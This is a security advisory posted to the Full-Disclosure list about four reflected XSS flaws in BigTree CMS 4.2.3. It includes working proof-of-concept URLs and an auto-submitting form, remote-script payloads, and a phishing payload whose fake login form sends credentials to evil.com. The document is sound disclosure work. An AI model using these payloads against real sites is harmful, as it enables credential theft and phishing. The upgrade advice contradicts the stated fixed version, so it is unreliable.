full-disclosure - [FD] BigTree CMS 4.2.3 Multiple Cross-Site-Scripting Vulnerabilities

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Message-ID: <55C87AA8.5060903@curesec.com>
Date: Mon, 10 Aug 2015 12:19:20 +0200
From: Curesec Research Team <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] BigTree CMS 4.2.3 Multiple Cross-Site-Scripting Vulnerabilities

BigTree CMS 4.2.3: Multiple Cross Site Scripting Vulnerabilities
Security Advisory – Curesec Research Team

Online Reference:
http://blog.curesec.com/article/blog/BigTree-CMS-423-Multiple-Cross-Site-Scripting-Vulnerabilities-38.html

1. Introduction

Affected Product: 	BigTree CMS 4.2.3	
Fixed in: 	4.2.4
Fixed Version Link:
https://github.com/bigtreecms/BigTree-CMS/archive/4.2.3.zip	
Vendor Contact: 	contribute@...treecms.org	
Vulnerability Type: 	Multiple Reflected XSS	
Remote Exploitable: 	Yes	
Reported to vendor: 	07/07/2015	
Disclosed to public: 	08/07/2015	
Release mode: 	Coordinated release	
CVE: 	n/a	
Credits 	Tim Coen of Curesec GmbH	

2. Vulnerability Description

Various components of the BigTree CMS are vulnerable to cross site
scripting. With this, it is possible to inject and execute arbitrary
JavaScript code. This can for example be used by an attacker to inject a
JavaScript keylogger or perform phishing attacks.

Please find attached three XSS attacks exploitable via GET, and one
exploitable via POST requests. The attacks using GET requests can be
exploited by getting the victim to click a link or visit an attacker
controlled website. The attack using a POST request requires the victim
to visit an attacker controlled website.
XSS 1 (via POST)

The script that processes Ajax requests for the file browser does not
properly sanitize the "file" parameter, opening it up to reflected XSS.

Sample POC:

<form
action="http://localhost/BigTree-CMS/core/admin/ajax/developer/extensions/file-browser.php"
method="post" name="myform">
<input type="hidden" name="cloud_disabled" value="true" />
<input type="hidden" name="file" value="&quot;><script>alert(1)</script>" />
<input type="submit" value="Create" />
</form>
<script>document.myform.submit();</script>

Payload to load a remote script:

&quot;><script src='http://localhost/s.js'></script>

Code:

        core/admin/ajax/developer/extensions/file-browser.php:127:
	        <input type="hidden" name="file" id="bigtree_foundry_file"
value="<?=$_POST["file"]?>" />
XSS 2 (via GET)

The script that processes Ajax requests for the integrity check does not
properly sanitize the "id" parameter, opening it up to reflected XSS.

Limitations: Single and double quotes are escaped.

Sample POC:

http://localhost/BigTree-CMS/site/index.php/admin/ajax/dashboard/integrity-check/module?table=1&id=<script>alert(1)</script>

Loading a remote script:

http://localhost/BigTree-CMS/site/index.php/admin/ajax/dashboard/integrity-check/module?table=1&id=<script
src=http://localhost/s.js></script>

Code:

        core/admin/ajax/dashboard/integrity-check/module.php:31:
		            <a
href="<?=ADMIN_ROOT.$module["route"]."/".$action["route"]."/".$_GET["id"]?>/"

XSS 3 (via GET)

The script that processes page view requests does not properly sanitize
the "id" value that is given in the URL, thus opening it up to reflected
XSS.

Limitations: forward slash cannot be used
Sample POC:

http://localhost/BigTree-CMS/site/index.php/admin/pages/view-tree/'"><img src="%23"
onerror="alert('xsstest')">
Loading a remote script:

http://localhost/BigTree-CMS/site/index.php/admin/pages/view-tree/'"><img src="%23"
onerror="s=document.createElement('script');s.src='\x2F\x2Flocalhost\x2Fs.js';document.body.appendChild(s);">

Code:

        The input is echoed in multiple places:

            core/admin/modules/pages/_properties.php:54
		            <p><?=$page["id"]?></p>
            core/admin/modules/pages/_properties.php:70
		            <p><a href="<?=$preview_url?>"
target="_blank"><?=$preview_url?></a></p>
            core/admin/layouts/default.php:153
		        <a
href="<?=ADMIN_ROOT.$item["link"]?>/<?=htmlspecialchars(rtrim($get_string,"&"))?>"<?
if ($active_item == $item) { ?>
XSS 4 (via GET)

The "id" value described in the previous section is additionally echoed
inside script tags, opening it up to a further XSS injection.

Limitations: forward slash cannot be used and single and double quotes
are escaped.
Simple POC:

http://localhost/BigTree-CMS/site/index.php/admin/pages/view-tree/xsstest",
}});}});alert(1);$("%23pages_pages").sortable({ axis: "y", containment:
"parent",  handle: ".icon_sort", items: "li", placeholder:
"ui-sortable-placeholder", tolerance: "pointer", update: function()
{$.ajax("", { type: "POST", data: { id: "

Code:

            core/admin/modules/pages/_nav-tree.php:138
                    <script>
	            $("#pages_<?=$class?>").sortable({ axis: "y", containment:
"parent",  handle: ".icon_sort", items: "li", placeholder:
"ui-sortable-placeholder", tolerance: "pointer", update: function() {
		            $.ajax("<?=ADMIN_ROOT?>ajax/pages/order/", { type: "POST",
data: { id: "<?=$page["id"]?>", sort:
$("#pages_<?=$class?>").sortable("serialize") } });
	            }});
            </script>

3. Proof of Concept Codes:

3.1 Example Phishing Site:

The attack can for example be used for phishing, by displaying the login
page and sending the data submitted by the victim to an attacker
controlled server.

var payload = document.createElement('div');
payload.innerHTML = "
<!doctype html>
	<head>
		<meta charset="utf-8">
		<meta name="robots" content="noindex,nofollow" />
		<title>Trees of All Sizes Login</title>
		<link rel="stylesheet"
href="//localhost/BigTree-CMS-master/site/index.php/admin/css/main.css"
type="text/css" media="screen" charset="utf-8" />
		<script
src="//localhost/BigTree-CMS-master/site/index.php/admin/js/lib.js"></script>
		<script
src="//localhost/BigTree-CMS-master/site/index.php/admin/js/main.js"></script>
	</head>
	<body class="login">
		<div class="login_wrapper">
			<h1>Trees of All Sizes</h1>
        <form method="post" action="http:/evil.com/log.php" class="module">
		<fieldset>
		<label>Email</label>
		<input type="email" id="user" name="user" class="text" value="" />
	</fieldset>
	<fieldset>
		<label>Password</label>
		<input type="password" id="password" name="password" class="text" />
		<p><input type="checkbox" name="stay_logged_in" checked="checked" />
Remember Me</p>
	</fieldset>
	<fieldset class="lower">
		<a
href="http://localhost/BigTree-CMS-master/site/index.php/admin/login/forgot-password/"
class="forgot_password">Forgot Password?</a>
		<input type="submit" class="button blue" value="Login" />
	</fieldset>
	</form>			
			<a href="http://www.bigtreecms.com" class="login_logo"
target="_blank"></a>
			<span class="login_copyright">
				Version 4.2.3  ·  © 2015 <a href="http://www.fastspot.com"
target="_blank"> Fastspot</a>
			</span>
		</div>
	</body>
</html>
";
document.replaceChild(payload, document.documentElement);

4. Solution

To mitigate this issue please upgrade at least to version 4.2.3:

https://github.com/bigtreecms/BigTree-CMS/archive/4.2.3.zip

Please note that a newer version might already be available.

5. Report Timeline

07/07/2015 	Informed Vendor about Issue
07/08/2015 	Vendor send Fixes for confirmation
07/10/2015 	Fixes Confirmed
07/26/2015 	Vendor releases Version 4.2.3
08/07/2015 	Disclosed to public

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